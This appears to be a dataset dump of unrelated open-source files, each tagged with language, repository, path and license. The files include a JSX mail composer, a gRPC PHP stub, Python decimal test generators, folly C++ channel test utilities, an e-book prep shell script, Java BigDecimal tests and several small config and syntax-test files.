const rangeInScope = DOMUtils.getRangeInScope(editableNode);
if (!rangeInScope) return;
let rect = rangeInScope.getBoundingClientRect();
if (DOMUtils.isEmptyBoundingRect(rect)) {
rect = DOMUtils.getSelectionRectFromDOM(selection);
}
if (rect) {
this.props.parentActions.scrollTo({rect});
}
}
};
// Handlers
_onExtensionsChanged = () => {
this.setState({extensions: ExtensionRegistry.Composer.extensions()});
};
// Renderers
render() {
return (
<DropZone
className="composer-inner-wrap"
onDrop={this._onDrop}
onDragOver={this._onDragOver}
shouldAcceptDrop={this._shouldAcceptDrop}
>
<Contenteditable
ref="contenteditable"
value={this.props.body}
onChange={this.props.onBodyChanged}
onFilePaste={this.props.onFilePaste}
onSelectionRestored={this._ensureSelectionVisible}
extensions={this.state.extensions}
/>
</DropZone>
);
}
}
ComposerEditor.containerRequired = false
export default ComposerEditor;
| JSX | 5 | cnheider/nylas-mail | packages/client-app/internal_packages/composer/lib/composer-editor.jsx | [
"MIT"
] |
// @out: output.js
// @allowJs: true
// @checkJs: true
// @Filename: a.js
this.a = 10;
this.a;
a;
// @Filename: b.js
this.a;
a;
| TypeScript | 1 | monciego/TypeScript | tests/cases/conformance/salsa/topLevelThisAssignment.ts | [
"Apache-2.0"
] |
<?php
// GENERATED CODE -- DO NOT EDIT!
// Original file comments:
// Copyright 2015-2016 gRPC authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// An integration test service that covers all the method signature permutations
// of unary/streaming requests/responses.
//
namespace Grpc\Testing;
/**
* A service used to obtain stats for verifying LB behavior.
*/
class LoadBalancerStatsServiceStub {
/**
* Gets the backend distribution for RPCs sent by a test client.
* @param \Grpc\Testing\LoadBalancerStatsRequest $request client request
* @param \Grpc\ServerContext $context server request context
* @return \Grpc\Testing\LoadBalancerStatsResponse for response data, null if if error occured
* initial metadata (if any) and status (if not ok) should be set to $context
*/
public function GetClientStats(
\Grpc\Testing\LoadBalancerStatsRequest $request,
\Grpc\ServerContext $context
): ?\Grpc\Testing\LoadBalancerStatsResponse {
$context->setStatus(\Grpc\Status::unimplemented());
return null;
}
/**
* Gets the accumulated stats for RPCs sent by a test client.
* @param \Grpc\Testing\LoadBalancerAccumulatedStatsRequest $request client request
* @param \Grpc\ServerContext $context server request context
* @return \Grpc\Testing\LoadBalancerAccumulatedStatsResponse for response data, null if if error occured
* initial metadata (if any) and status (if not ok) should be set to $context
*/
public function GetClientAccumulatedStats(
\Grpc\Testing\LoadBalancerAccumulatedStatsRequest $request,
\Grpc\ServerContext $context
): ?\Grpc\Testing\LoadBalancerAccumulatedStatsResponse {
$context->setStatus(\Grpc\Status::unimplemented());
return null;
}
/**
* Get the method descriptors of the service for server registration
*
* @return array of \Grpc\MethodDescriptor for the service methods
*/
public final function getMethodDescriptors(): array
{
return [
'/grpc.testing.LoadBalancerStatsService/GetClientStats' => new \Grpc\MethodDescriptor(
$this,
'GetClientStats',
'\Grpc\Testing\LoadBalancerStatsRequest',
\Grpc\MethodDescriptor::UNARY_CALL
),
'/grpc.testing.LoadBalancerStatsService/GetClientAccumulatedStats' => new \Grpc\MethodDescriptor(
$this,
'GetClientAccumulatedStats',
'\Grpc\Testing\LoadBalancerAccumulatedStatsRequest',
\Grpc\MethodDescriptor::UNARY_CALL
),
];
}
}
| PHP | 5 | warlock135/grpc | src/php/tests/interop/Grpc/Testing/LoadBalancerStatsServiceStub.php | [
"Apache-2.0"
] |
# Copyright (c) 2010 Python Software Foundation. All Rights Reserved.
# Adapted from Python's Lib/test/test_strtod.py (by Mark Dickinson)
# More test cases for deccheck.py.
import random
TEST_SIZE = 2
def test_short_halfway_cases():
# exact halfway cases with a small number of significant digits
for k in 0, 5, 10, 15, 20:
# upper = smallest integer >= 2**54/5**k
upper = -(-2**54//5**k)
# lower = smallest odd number >= 2**53/5**k
lower = -(-2**53//5**k)
if lower % 2 == 0:
lower += 1
for i in range(10 * TEST_SIZE):
# Select a random odd n in [2**53/5**k,
# 2**54/5**k). Then n * 10**k gives a halfway case
# with small number of significant digits.
n, e = random.randrange(lower, upper, 2), k
# Remove any additional powers of 5.
while n % 5 == 0:
n, e = n // 5, e + 1
assert n % 10 in (1, 3, 7, 9)
# Try numbers of the form n * 2**p2 * 10**e, p2 >= 0,
# until n * 2**p2 has more than 20 significant digits.
digits, exponent = n, e
while digits < 10**20:
s = '{}e{}'.format(digits, exponent)
yield s
# Same again, but with extra trailing zeros.
s = '{}e{}'.format(digits * 10**40, exponent - 40)
yield s
digits *= 2
# Try numbers of the form n * 5**p2 * 10**(e - p5), p5
# >= 0, with n * 5**p5 < 10**20.
digits, exponent = n, e
while digits < 10**20:
s = '{}e{}'.format(digits, exponent)
yield s
# Same again, but with extra trailing zeros.
s = '{}e{}'.format(digits * 10**40, exponent - 40)
yield s
digits *= 5
exponent -= 1
def test_halfway_cases():
# test halfway cases for the round-half-to-even rule
for i in range(1000):
for j in range(TEST_SIZE):
# bit pattern for a random finite positive (or +0.0) float
bits = random.randrange(2047*2**52)
# convert bit pattern to a number of the form m * 2**e
e, m = divmod(bits, 2**52)
if e:
m, e = m + 2**52, e - 1
e -= 1074
# add 0.5 ulps
m, e = 2*m + 1, e - 1
# convert to a decimal string
if e >= 0:
digits = m << e
exponent = 0
else:
# m * 2**e = (m * 5**-e) * 10**e
digits = m * 5**-e
exponent = e
s = '{}e{}'.format(digits, exponent)
yield s
def test_boundaries():
# boundaries expressed as triples (n, e, u), where
# n*10**e is an approximation to the boundary value and
# u*10**e is 1ulp
boundaries = [
(10000000000000000000, -19, 1110), # a power of 2 boundary (1.0)
(17976931348623159077, 289, 1995), # overflow boundary (2.**1024)
(22250738585072013831, -327, 4941), # normal/subnormal (2.**-1022)
(0, -327, 4941), # zero
]
for n, e, u in boundaries:
for j in range(1000):
for i in range(TEST_SIZE):
digits = n + random.randrange(-3*u, 3*u)
exponent = e
s = '{}e{}'.format(digits, exponent)
yield s
n *= 10
u *= 10
e -= 1
def test_underflow_boundary():
# test values close to 2**-1075, the underflow boundary; similar
# to boundary_tests, except that the random error doesn't scale
# with n
for exponent in range(-400, -320):
base = 10**-exponent // 2**1075
for j in range(TEST_SIZE):
digits = base + random.randrange(-1000, 1000)
s = '{}e{}'.format(digits, exponent)
yield s
def test_bigcomp():
for ndigs in 5, 10, 14, 15, 16, 17, 18, 19, 20, 40, 41, 50:
dig10 = 10**ndigs
for i in range(100 * TEST_SIZE):
digits = random.randrange(dig10)
exponent = random.randrange(-400, 400)
s = '{}e{}'.format(digits, exponent)
yield s
def test_parsing():
# make '0' more likely to be chosen than other digits
digits = '000000123456789'
signs = ('+', '-', '')
# put together random short valid strings
# \d*[.\d*]?e
for i in range(1000):
for j in range(TEST_SIZE):
s = random.choice(signs)
intpart_len = random.randrange(5)
s += ''.join(random.choice(digits) for _ in range(intpart_len))
if random.choice([True, False]):
s += '.'
fracpart_len = random.randrange(5)
s += ''.join(random.choice(digits)
for _ in range(fracpart_len))
else:
fracpart_len = 0
if random.choice([True, False]):
s += random.choice(['e', 'E'])
s += random.choice(signs)
exponent_len = random.randrange(1, 4)
s += ''.join(random.choice(digits)
for _ in range(exponent_len))
if intpart_len + fracpart_len:
yield s
test_particular = [
# squares
'1.00000000100000000025',
'1.0000000000000000000000000100000000000000000000000' #...
'00025',
'1.0000000000000000000000000000000000000000000010000' #...
'0000000000000000000000000000000000000000025',
'1.0000000000000000000000000000000000000000000000000' #...
'000001000000000000000000000000000000000000000000000' #...
'000000000025',
'0.99999999900000000025',
'0.9999999999999999999999999999999999999999999999999' #...
'999000000000000000000000000000000000000000000000000' #...
'000025',
'0.9999999999999999999999999999999999999999999999999' #...
'999999999999999999999999999999999999999999999999999' #...
'999999999999999999999999999999999999999990000000000' #...
'000000000000000000000000000000000000000000000000000' #...
'000000000000000000000000000000000000000000000000000' #...
'0000000000000000000000000000025',
'1.0000000000000000000000000000000000000000000000000' #...
'000000000000000000000000000000000000000000000000000' #...
'100000000000000000000000000000000000000000000000000' #...
'000000000000000000000000000000000000000000000000001',
'1.0000000000000000000000000000000000000000000000000' #...
'000000000000000000000000000000000000000000000000000' #...
'500000000000000000000000000000000000000000000000000' #...
'000000000000000000000000000000000000000000000000005',
'1.0000000000000000000000000000000000000000000000000' #...
'000000000100000000000000000000000000000000000000000' #...
'000000000000000000250000000000000002000000000000000' #...
'000000000000000000000000000000000000000000010000000' #...
'000000000000000000000000000000000000000000000000000' #...
'0000000000000000001',
'1.0000000000000000000000000000000000000000000000000' #...
'000000000100000000000000000000000000000000000000000' #...
'000000000000000000249999999999999999999999999999999' #...
'999999999999979999999999999999999999999999999999999' #...
'999999999999999999999900000000000000000000000000000' #...
'000000000000000000000000000000000000000000000000000' #...
'00000000000000000000000001',
'0.9999999999999999999999999999999999999999999999999' #...
'999999999900000000000000000000000000000000000000000' #...
'000000000000000000249999999999999998000000000000000' #...
'000000000000000000000000000000000000000000010000000' #...
'000000000000000000000000000000000000000000000000000' #...
'0000000000000000001',
'0.9999999999999999999999999999999999999999999999999' #...
'999999999900000000000000000000000000000000000000000' #...
'000000000000000000250000001999999999999999999999999' #...
'999999999999999999999999999999999990000000000000000' #...
'000000000000000000000000000000000000000000000000000' #...
'1',
# tough cases for ln etc.
'1.000000000000000000000000000000000000000000000000' #...
'00000000000000000000000000000000000000000000000000' #...
'00100000000000000000000000000000000000000000000000' #...
'00000000000000000000000000000000000000000000000000' #...
'0001',
'0.999999999999999999999999999999999999999999999999' #...
'99999999999999999999999999999999999999999999999999' #...
'99899999999999999999999999999999999999999999999999' #...
'99999999999999999999999999999999999999999999999999' #...
'99999999999999999999999999999999999999999999999999' #...
'9999'
]
TESTCASES = [
[x for x in test_short_halfway_cases()],
[x for x in test_halfway_cases()],
[x for x in test_boundaries()],
[x for x in test_underflow_boundary()],
[x for x in test_bigcomp()],
[x for x in test_parsing()],
test_particular
]
def un_randfloat():
for i in range(1000):
l = random.choice(TESTCASES[:6])
yield random.choice(l)
for v in test_particular:
yield v
def bin_randfloat():
for i in range(1000):
l1 = random.choice(TESTCASES)
l2 = random.choice(TESTCASES)
yield random.choice(l1), random.choice(l2)
def tern_randfloat():
for i in range(1000):
l1 = random.choice(TESTCASES)
l2 = random.choice(TESTCASES)
l3 = random.choice(TESTCASES)
yield random.choice(l1), random.choice(l2), random.choice(l3)
| Python | 5 | shawwn/cpython | Modules/_decimal/tests/randfloat.py | [
"0BSD"
] |
@import "b.css";
@import "c.css";
@import "a.css";
body {
color: 1;
}
| CSS | 1 | acidburn0zzz/webpack | test/configCases/css/conflicting-order/lazy1.css | [
"MIT"
] |
open Array
type elem = Word32.word
fun badRand (seed : elem) : elem = (seed * Word32.fromInt 1664525) + Word32.fromInt 1013904223
fun mkRandomArray (seed : elem) n =
let val s = ref seed in
tabulate (n, fn _ =>
let val seed = (!s) in
s := badRand seed;
seed
end)
end
exception Unsorted of string
fun checkSortedAux (a : elem array) i =
if i < Array.length a - 1 then (
if sub (a, i) > sub (a, i+1) then raise (Unsorted "array is not sorted") else ();
checkSortedAux a (i+1)
) else ()
fun swap (arr : elem array) i j =
let
val x = sub (arr, i)
val y = sub (arr, j) in
(update (arr, i, y); update (arr, j, x))
end
fun partitionAux hi pivot arr i j : int =
if j < hi then (
if sub (arr, j) < pivot then (
swap arr i j;
partitionAux hi pivot arr (i+1) (j+1)
) else
partitionAux hi pivot arr i (j+1)
) else (
swap arr i hi;
i
)
fun partition arr lo hi =
let val mid = (lo + hi) div 2 in (
if sub (arr, mid) < sub (arr, lo) then swap arr lo mid else ();
if sub (arr, hi) < sub (arr, lo) then swap arr lo hi else ();
if sub (arr, mid) < sub (arr, hi) then swap arr mid hi else ();
let val pivot = sub (arr, hi) in
partitionAux hi pivot arr lo lo
end)
end
fun qsortAux arr low high =
if low < high then
let val mid = partition arr low high in
(qsortAux arr low mid;
qsortAux arr (mid+1) high)
end
else ()
fun qsort arr =
qsortAux arr 0 (Array.length arr - 1)
fun for (start, stop, f) =
let
fun loop i = if i = stop then () else (f i; loop (i + 1))
in
loop start
end
fun main n =
for (0, n-1, fn _ =>
for (0, n-1, fn i =>
let val xs = mkRandomArray (Word32.fromInt i) i in
(qsort xs;
checkSortedAux xs 0)
end
)
)
val _ = main ((valOf o Int.fromString o List.hd o CommandLine.arguments) ())
| Standard ML | 4 | JLimperg/lean4 | tests/bench/qsort.sml | [
"Apache-2.0"
] |
struct Test {
1: required i64 trueNum;
}
const bool abool = true
const i32 falseValue = 123
| Thrift | 1 | JonnoFTW/thriftpy2 | tests/parser-cases/issue_215.thrift | [
"MIT"
] |
RwLoadSpecificationV2 {
#specName : 'Issue122_Core-ProtocolValidationError_tonel',
#projectName : 'Issue122',
#projectSpecFile : 'rowan/project_tonel.ston',
#componentNames : [
'Core_ProtocolValidationError'
],
#customConditionalAttributes : [ ],
#comment : 'tonel loadSpec - package source is in tonel format'
}
| STON | 3 | GemTalk/Rowan | test/testRepositories/Issue122/v2/rowan/specs/Issue122_Core-ProtocolValidationError_tonel.ston | [
"MIT"
] |
;;; tools/debugger/doctor.el -*- lexical-binding: t; -*-
(when (and (featurep! +lsp) (featurep! :tools lsp +eglot))
(warn! "+lsp flag is not compatible with :tools (lsp +eglot). Choose only one of (eglot or dap-mode) please"))
| Emacs Lisp | 3 | leezu/doom-emacs | modules/tools/debugger/doctor.el | [
"MIT"
] |
# -*- perl -*-
use strict;
use warnings;
use tests::tests;
check_expected ([<<'EOF']);
(priority-donate-lower) begin
(priority-donate-lower) Main thread should have priority 41. Actual priority: 41.
(priority-donate-lower) Lowering base priority...
(priority-donate-lower) Main thread should have priority 41. Actual priority: 41.
(priority-donate-lower) acquire: got the lock
(priority-donate-lower) acquire: done
(priority-donate-lower) acquire must already have finished.
(priority-donate-lower) Main thread should have priority 21. Actual priority: 21.
(priority-donate-lower) end
EOF
pass;
| ChucK | 4 | nguyenvannam2698/os_pintos_20211 | src/tests/threads/priority-donate-lower.ck | [
"MIT"
] |
#!MC 1200
# Created by Tecplot 360 build 12.0.0.3454
$!VarSet |MFBD| = '/home/parent/pnu/pub/SECOND/testcases/separation'
$!ALTERDATA
EQUATION = '{tauxy}=2e-5*ddy({V[0]})'
$!ALTERDATA
EQUATION = '{Cf}={tauxy}/(0.5*0.0631*715*715)'
$!ALTERDATA
EQUATION = '{qy}=0.03*ddy({T})'
$!DUPLICATEZONE
SOURCEZONE = 1
JRANGE
{
MAX = 1
}
$!RemoveVar |MFBD|
| MAXScript | 3 | zhanghuanqian/CFDWARP | bin/wall_extract.mcr | [
"BSD-2-Clause"
] |
#(assert:string=? (lyp:this-file)
(lyp:expand-path (lyp:join-path lyp:cwd "spec/user_files/scheme_interface_test_cond_include.ly")))
#(set! cond-include #t) | LilyPond | 2 | HolgerPeters/lyp | spec/user_files/scheme_interface_test_cond_include.ly | [
"MIT"
] |
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <folly/executors/CPUThreadPoolExecutor.h>
#include <folly/experimental/channels/ConsumeChannel.h>
#include <folly/experimental/coro/DetachOnCancel.h>
#include <folly/experimental/coro/Sleep.h>
#include <folly/futures/SharedPromise.h>
#include <folly/portability/GMock.h>
namespace folly {
namespace channels {
template <typename T, typename... Others>
std::vector<T> toVector(T firstItem, Others... items) {
std::vector<T> itemsVector;
itemsVector.push_back(std::move(firstItem));
[[maybe_unused]] int dummy[] = {
(itemsVector.push_back(std::move(items)), 0)...};
return itemsVector;
}
template <typename TValue>
class MockNextCallback {
public:
void operator()(folly::Try<TValue> result) {
if (result.hasValue()) {
onValue(result.value());
} else if (result.template hasException<folly::OperationCancelled>()) {
onCancelled();
} else if (result.template hasException<std::runtime_error>()) {
onRuntimeError(result.exception().what().toStdString());
} else if (result.hasException()) {
LOG(FATAL) << "Unexpected exception: " << result.exception().what();
} else {
onClosed();
}
}
MOCK_METHOD1_T(onValue, void(TValue));
MOCK_METHOD0(onClosed, void());
MOCK_METHOD0(onCancelled, void());
MOCK_METHOD1(onRuntimeError, void(std::string));
};
enum class ConsumptionMode {
CoroWithTry,
CoroWithoutTry,
CallbackWithHandle,
CallbackWithHandleList
};
template <typename TValue>
class ChannelConsumerBase {
public:
explicit ChannelConsumerBase(ConsumptionMode mode) : mode_(mode) {
continueConsuming_.setValue(true);
}
ChannelConsumerBase(ChannelConsumerBase&&) = default;
ChannelConsumerBase& operator=(ChannelConsumerBase&&) = default;
virtual ~ChannelConsumerBase() = default;
virtual folly::Executor::KeepAlive<> getExecutor() = 0;
virtual void onNext(folly::Try<TValue> result) = 0;
void startConsuming(Receiver<TValue> receiver) {
folly::coro::co_withCancellation(
cancellationSource_.getToken(), processValuesCoro(std::move(receiver)))
.scheduleOn(getExecutor())
.start();
}
folly::coro::Task<void> processValuesCoro(Receiver<TValue> receiver) {
auto executor = co_await folly::coro::co_current_executor;
if (mode_ == ConsumptionMode::CoroWithTry ||
mode_ == ConsumptionMode::CoroWithoutTry) {
do {
folly::Try<TValue> resultTry;
if (mode_ == ConsumptionMode::CoroWithTry) {
resultTry = co_await folly::coro::co_awaitTry(receiver.next());
} else if (mode_ == ConsumptionMode::CoroWithoutTry) {
try {
auto result = co_await receiver.next();
if (result.has_value()) {
resultTry = folly::Try<TValue>(result.value());
} else {
resultTry = folly::Try<TValue>();
}
} catch (const std::exception& ex) {
resultTry = folly::Try<TValue>(
folly::exception_wrapper(std::current_exception(), ex));
} catch (...) {
resultTry = folly::Try<TValue>(
folly::exception_wrapper(std::current_exception()));
}
} else {
LOG(FATAL) << "Unknown consumption mode";
}
bool hasValue = resultTry.hasValue();
onNext(std::move(resultTry));
if (!hasValue) {
co_return;
}
} while (co_await folly::coro::detachOnCancel(
continueConsuming_.getSemiFuture()));
} else if (mode_ == ConsumptionMode::CallbackWithHandle) {
auto callbackHandle = consumeChannelWithCallback(
std::move(receiver),
getExecutor(),
[=](folly::Try<TValue> resultTry) -> folly::coro::Task<bool> {
onNext(std::move(resultTry));
co_return co_await folly::coro::detachOnCancel(
continueConsuming_.getSemiFuture());
});
cancelCallback_ = std::make_unique<folly::CancellationCallback>(
co_await folly::coro::co_current_cancellation_token,
[=, handle = std::move(callbackHandle)]() mutable {
handle.reset();
});
} else if (mode_ == ConsumptionMode::CallbackWithHandleList) {
auto callbackHandleList = ChannelCallbackHandleList();
consumeChannelWithCallback(
std::move(receiver),
getExecutor(),
[=](folly::Try<TValue> resultTry) -> folly::coro::Task<bool> {
onNext(std::move(resultTry));
co_return co_await folly::coro::detachOnCancel(
continueConsuming_.getSemiFuture());
},
callbackHandleList);
cancelCallback_ = std::make_unique<folly::CancellationCallback>(
co_await folly::coro::co_current_cancellation_token,
[=, handleList = std::move(callbackHandleList)]() mutable {
executor->add([handleList = std::move(handleList)]() mutable {
handleList.clear();
});
});
} else {
LOG(FATAL) << "Unknown consumption mode";
}
}
protected:
ConsumptionMode mode_;
folly::CancellationSource cancellationSource_;
folly::SharedPromise<bool> continueConsuming_;
std::unique_ptr<folly::CancellationCallback> cancelCallback_;
};
enum class CloseType { NoException, Exception, Cancelled };
template <typename TValue>
class StressTestConsumer : public ChannelConsumerBase<TValue> {
public:
StressTestConsumer(
ConsumptionMode mode, folly::Function<void(TValue)> onValue)
: ChannelConsumerBase<TValue>(mode),
executor_(std::make_unique<folly::CPUThreadPoolExecutor>(1)),
onValue_(std::move(onValue)) {}
StressTestConsumer(StressTestConsumer&&) = delete;
StressTestConsumer&& operator=(StressTestConsumer&&) = delete;
~StressTestConsumer() override {
this->cancellationSource_.requestCancellation();
if (!this->continueConsuming_.isFulfilled()) {
this->continueConsuming_.setValue(false);
}
executor_.reset();
}
folly::Executor::KeepAlive<> getExecutor() override {
return executor_.get();
}
void onNext(folly::Try<TValue> result) override {
if (result.hasValue()) {
onValue_(std::move(result.value()));
} else if (result.template hasException<folly::OperationCancelled>()) {
closedType_.setValue(CloseType::Cancelled);
} else if (result.hasException()) {
EXPECT_TRUE(result.template hasException<std::runtime_error>());
closedType_.setValue(CloseType::Exception);
} else {
closedType_.setValue(CloseType::NoException);
}
}
void cancel() { this->cancellationSource_.requestCancellation(); }
folly::SemiFuture<CloseType> waitForClose() {
return closedType_.getSemiFuture();
}
private:
std::unique_ptr<folly::CPUThreadPoolExecutor> executor_;
folly::Function<void(TValue)> onValue_;
folly::Promise<CloseType> closedType_;
};
template <typename TValue>
class StressTestProducer {
public:
explicit StressTestProducer(folly::Function<TValue()> getNextValue)
: executor_(std::make_unique<folly::CPUThreadPoolExecutor>(1)),
getNextValue_(std::move(getNextValue)) {}
StressTestProducer(StressTestProducer&&) = delete;
StressTestProducer&& operator=(StressTestProducer&&) = delete;
~StressTestProducer() {
if (executor_) {
stopProducing();
executor_.reset();
}
}
void startProducing(
Sender<TValue> sender,
std::optional<folly::exception_wrapper> closeException) {
auto produceTask = folly::coro::co_invoke(
[=,
sender = std::move(sender),
ex = std::move(closeException)]() mutable -> folly::coro::Task<void> {
for (int i = 1; !stopped_.load(std::memory_order_relaxed); i++) {
if (i % 1000 == 0) {
co_await folly::coro::sleep(std::chrono::milliseconds(100));
}
sender.write(getNextValue_());
}
if (ex.has_value()) {
std::move(sender).close(std::move(ex.value()));
} else {
std::move(sender).close();
}
co_return;
});
std::move(produceTask).scheduleOn(executor_.get()).start();
}
void stopProducing() { stopped_.store(true); }
private:
std::unique_ptr<folly::CPUThreadPoolExecutor> executor_;
folly::Function<TValue()> getNextValue_;
std::atomic<bool> stopped_{false};
};
} // namespace channels
} // namespace folly
| C | 5 | Aoikiseki/folly | folly/experimental/channels/test/ChannelTestUtil.h | [
"Apache-2.0"
] |
syntax = "proto2";
option go_package = "app_identity";
package appengine;
message AppIdentityServiceError {
enum ErrorCode {
SUCCESS = 0;
UNKNOWN_SCOPE = 9;
BLOB_TOO_LARGE = 1000;
DEADLINE_EXCEEDED = 1001;
NOT_A_VALID_APP = 1002;
UNKNOWN_ERROR = 1003;
NOT_ALLOWED = 1005;
NOT_IMPLEMENTED = 1006;
}
}
message SignForAppRequest {
optional bytes bytes_to_sign = 1;
}
message SignForAppResponse {
optional string key_name = 1;
optional bytes signature_bytes = 2;
}
message GetPublicCertificateForAppRequest {
}
message PublicCertificate {
optional string key_name = 1;
optional string x509_certificate_pem = 2;
}
message GetPublicCertificateForAppResponse {
repeated PublicCertificate public_certificate_list = 1;
optional int64 max_client_cache_time_in_second = 2;
}
message GetServiceAccountNameRequest {
}
message GetServiceAccountNameResponse {
optional string service_account_name = 1;
}
message GetAccessTokenRequest {
repeated string scope = 1;
optional int64 service_account_id = 2;
optional string service_account_name = 3;
}
message GetAccessTokenResponse {
optional string access_token = 1;
optional int64 expiration_time = 2;
}
message GetDefaultGcsBucketNameRequest {
}
message GetDefaultGcsBucketNameResponse {
optional string default_gcs_bucket_name = 1;
}
| Protocol Buffer | 4 | t12g/terraform-validator | vendor/google.golang.org/appengine/internal/app_identity/app_identity_service.proto | [
"Apache-2.0"
] |
-@ import val it: InvoicesInfo
%h1 Invoices
- for (errors <- errorsOption)
%h2 Errors
%table
- for (error <- errors)
%tr
%td = error
%h2 Existing Invoices
%table
%tr
%th Invoice
%th Status
%th Version
- for (invoice <- invoicesSorted)
%tr
%td
%a{ :href => { "invoice/%s" format invoice.id } } Invoice #{invoice.id}
%td
= InvoiceInfo.status(invoice)
%td
= invoice.version
%h2 New Invoice
%form{ :action => "/invoice", :method => "post" }
%table
%tr
%td Id
%td
%input{ :type => "text", :value => { uncommitted("id") }, :name => "id" }
%td
%input{ :type => "submit", :value => "Create" }
| Scaml | 4 | pkeshab/eventsourced-example | src/main/webapp/WEB-INF/org/eligosource/eventsourced/example/web/Invoices.scaml | [
"Apache-2.0"
] |
#!/usr/bin/env bash
# This script prepares a `hacker-laws.md` file which is in a format ready to be
# exported to PDF or other formats for an e-book.
# Require that we provide the version number and get a date.
version=$1
date=$(date "+%Y-%m-%d")
if [ -z $version ]; then
echo "version must be specified: ./prepare-markdown-for-ebook.sh <version>"
exit 1
fi
# Create the frontmatter.
cat << EOF > frontmatter.md
---
title: "Hacker Laws"
author: "Dave Kerr, github.com/dwmkerr/hacker-laws"
subtitle: "Laws, Theories, Principles and Patterns that developers will find useful. ${version}, ${date}."
---
EOF
# Combine the frontmatter and the laws.
cat frontmatter.md README.md >> hacker-laws.md
# Remove the title - we have it in the front-matter of the doc, so it will
# automatically be added to the PDF.
sed -i'' '/💻📖.*/d' hacker-laws.md
# We can't have emojis in the final content with the PDF generator we're using.
sed -i'' 's/❗/Warning/' hacker-laws.md
# Now rip out the translations line.
sed -i'' '/^\[Translations.*/d' hacker-laws.md
# # Now rip out any table of contents items.
sed -i'' '/\*.*/d' hacker-laws.md
sed -i'' '/ \*.*/d' hacker-laws.md
# Delete everything from 'Translations' onwards (we don't need the translations
# lists, related projects, etc).
sed -i'' '/## Translations/,$d' hacker-laws.md
| Shell | 5 | jlozovei/hacker-laws | scripts/prepare-markdown-for-ebook.sh | [
"CC0-1.0"
] |
#/******************************************************************************
#* Copyright (c) 2018 - 2020 Xilinx, Inc. All rights reserved.
#* SPDX-License-Identifier: MIT
#******************************************************************************/
PARAMETER VERSION = 2.2.0
BEGIN OS
PARAMETER OS_NAME = standalone
PARAMETER STDIN = *
PARAMETER STDOUT = *
END
BEGIN LIBRARY
PARAMETER LIBRARY_NAME = xilpm
END
| CartoCSS | 2 | erique/embeddedsw | lib/sw_apps/ddr_self_refresh/data/ddr_self_refresh.mss | [
"BSD-2-Clause",
"MIT"
] |
package com.baeldung.stringtobigdecimal;
import static org.junit.Assert.assertEquals;
import java.math.BigDecimal;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.text.ParseException;
import org.junit.Test;
public class StringToBigDecimalConversionUnitTest {
@Test
public void givenValidString_WhenBigDecimalObjectWithStringParameter_ThenResultIsDecimalObject() {
BigDecimal bigDecimal = new BigDecimal("123");
assertEquals(new BigDecimal(123), bigDecimal);
}
@Test(expected = NullPointerException.class)
public void givenNullString_WhenBigDecimalObjectWithStringParameter_ThenNullPointerExceptionIsThrown() {
String bigDecimal = null;
new BigDecimal(bigDecimal);
}
@Test(expected = NumberFormatException.class)
public void givenInalidString_WhenBigDecimalObjectWithStringParameter_ThenNumberFormatExceptionIsThrown() {
new BigDecimal("&");
}
@Test
public void givenValidString_WhenValueOfDoubleFromString_ThenResultIsDecimalObject() {
BigDecimal bigDecimal = BigDecimal.valueOf(Double.valueOf("123.42"));
assertEquals(new BigDecimal(123.42).setScale(2, BigDecimal.ROUND_HALF_UP), bigDecimal);
}
@Test(expected = NullPointerException.class)
public void givenNullString_WhenValueOfDoubleFromString_ThenNullPointerExceptionIsThrown() {
BigDecimal.valueOf(Double.valueOf(null));
}
@Test(expected = NumberFormatException.class)
public void givenInalidString_WhenValueOfDoubleFromString_ThenNumberFormatExceptionIsThrown() {
BigDecimal.valueOf(Double.valueOf("&"));
}
@Test
public void givenValidString_WhenDecimalFormatOfString_ThenResultIsDecimalObject() throws ParseException {
BigDecimal bigDecimal = new BigDecimal(10692467440017.111).setScale(3, BigDecimal.ROUND_HALF_UP);
DecimalFormatSymbols symbols = new DecimalFormatSymbols();
symbols.setGroupingSeparator(',');
symbols.setDecimalSeparator('.');
String pattern = "#,##0.0#";
DecimalFormat decimalFormat = new DecimalFormat(pattern, symbols);
decimalFormat.setParseBigDecimal(true);
// parse the string value
BigDecimal parsedStringValue = (BigDecimal) decimalFormat.parse("10,692,467,440,017.111");
assertEquals(bigDecimal, parsedStringValue);
}
@Test(expected = NullPointerException.class)
public void givenNullString_WhenDecimalFormatOfString_ThenNullPointerExceptionIsThrown() throws ParseException {
new DecimalFormat("#").parse(null);
}
@Test(expected = ParseException.class)
public void givenInalidString_WhenDecimalFormatOfString_ThenNumberFormatExceptionIsThrown() throws ParseException {
new DecimalFormat("#").parse("&");
}
}
| Java | 5 | DBatOWL/tutorials | core-java-modules/core-java-string-conversions-2/src/test/java/com/baeldung/stringtobigdecimal/StringToBigDecimalConversionUnitTest.java | [
"MIT"
] |
package {{invokerPackage}}.auth;
import feign.RequestInterceptor;
import feign.RequestTemplate;
import feign.auth.BasicAuthRequestInterceptor;
/**
* An interceptor that adds the request header needed to use HTTP basic authentication.
*/
public class HttpBasicAuth implements RequestInterceptor {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public void setCredentials(String username, String password) {
this.username = username;
this.password = password;
}
@Override
public void apply(RequestTemplate template) {
RequestInterceptor requestInterceptor = new BasicAuthRequestInterceptor(username, password);
requestInterceptor.apply(template);
}
}
| HTML+Django | 5 | MalcolmScoffable/openapi-generator | modules/openapi-generator/src/main/resources/Java/libraries/feign/auth/HttpBasicAuth.mustache | [
"Apache-2.0"
] |
PREFIX : <http://example/>
SELECT *
{
:a:b:c .
}
| SPARQL | 2 | yanaspaula/rdf4j | testsuites/sparql/src/main/resources/testcases-sparql-1.1-w3c/syntax-query/syn-bad-pname-08.rq | [
"BSD-3-Clause"
